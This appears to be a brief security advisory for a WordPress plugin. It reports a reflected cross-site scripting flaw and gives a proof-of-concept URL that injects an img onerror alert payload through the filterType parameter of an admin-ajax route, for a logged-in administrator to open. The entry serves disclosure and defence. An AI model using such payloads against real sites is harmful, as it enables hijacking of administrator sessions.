The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as administrator
Make a logged in admin open https://example.com/wp-admin/admin-ajax.php?action=ajax_get&route;_name=get_weekly_appointment&filterType;=<img src onerror=alert(`XSS`)>